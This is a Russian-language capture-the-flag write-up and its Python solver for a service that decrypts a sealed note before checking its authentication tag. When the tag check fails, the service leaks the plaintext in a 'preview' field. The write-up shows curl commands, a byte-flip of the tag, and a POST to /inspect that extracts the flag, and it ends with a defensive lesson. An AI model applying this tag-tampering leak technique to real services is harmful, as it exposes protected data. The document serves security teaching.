Сервис хранит запечатанную заметку и умеет проверять её целостность. При успешной проверке он подтверждает приём, но текст не показывает. Для отклонённых записей сервис возвращает поле `preview`. Проверяем его содержимое.
|
||||
|
||||
## Решение
|
||||
|
||||
Забираем исходную запись:
|
||||
|
||||
```bash
|
||||
curl -sS http://<host>:31359/sealed-note -o note.bin
|
||||
```
|
||||
|
||||
Публичный клиент на неизменённой записи получает `status=accepted` без plaintext:
|
||||
|
||||
```bash
|
||||
python3 public/client.py http://<host>:31359
|
||||
```
|
||||
|
||||
В `inspect_record()` сначала вычисляется открытый текст, затем проверяется authentication tag. Сама расшифровка до проверки ещё не раскрывает данные клиенту. Ошибка находится в ветке отказа. При несовпадении тега функция возвращает эти байты в поле `preview`.
|
||||
|
||||
Последние 16 байт записи — тег. Меняем один его байт, не трогая шифротекст, чтобы расшифровка осталась прежней, а проверка провалилась:
|
||||
|
||||
```python
|
||||
from pathlib import Path
|
||||
|
||||
record = bytearray(Path("note.bin").read_bytes())
|
||||
record[-1] ^= 1
|
||||
Path("tampered.bin").write_bytes(record)
|
||||
```
|
||||
|
||||
Отправляем подготовленный `tampered.bin` в `POST /inspect` с `Content-Type: application/octet-stream`.
|
||||
|
||||
```bash
|
||||
curl -sS --data-binary @tampered.bin \
|
||||
-H 'Content-Type: application/octet-stream' \
|
||||
'http://<host>:31359/inspect'
|
||||
```
|
||||
|
||||
При несовпадении тега обработчик возвращает открытый текст вместе с флагом в поле `preview`. Одной испорченной записи достаточно, поскольку утечка происходит непосредственно в обработчике ошибки.
|
||||
|
||||
> Расшифрованные байты до проверки тега нельзя отдавать вызывающему коду. Здесь проверка обнаружила повреждение, но обработчик ошибки всё равно раскрыл содержимое заметки.
|
||||
|
||||
[Солвер](solve/solve.py).
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{tag_failure_previewed_the_plaintext}`
|
||||
@@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import urllib.request
|
||||
|
||||
|
||||
def get_bytes(url: str) -> bytes:
|
||||
with urllib.request.urlopen(url, timeout=5) as response:
|
||||
return response.read()
|
||||
|
||||
|
||||
def post_bytes(url: str, body: bytes) -> dict:
|
||||
req = urllib.request.Request(
|
||||
url,
|
||||
data=body,
|
||||
method="POST",
|
||||
headers={"Content-Type": "application/octet-stream"},
|
||||
)
|
||||
with urllib.request.urlopen(req, timeout=5) as response:
|
||||
return json.loads(response.read().decode())
|
||||
|
||||
|
||||
def solve(base_url: str) -> str:
|
||||
base = base_url.rstrip("/")
|
||||
record = bytearray(get_bytes(base + "/sealed-note"))
|
||||
record[-1] ^= 1
|
||||
result = post_bytes(base + "/inspect", bytes(record))
|
||||
preview = result.get("preview", "")
|
||||
match = re.search(r"caplag\{[^}]+\}", preview)
|
||||
if not match:
|
||||
raise RuntimeError(f"flag not found in preview: {result}")
|
||||
return match.group(0)
|
||||
|
||||
|
||||
def main() -> None:
|
||||
if len(sys.argv) != 2:
|
||||
raise SystemExit(f"usage: {sys.argv[0]} http://host:port")
|
||||
print(solve(sys.argv[1]))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||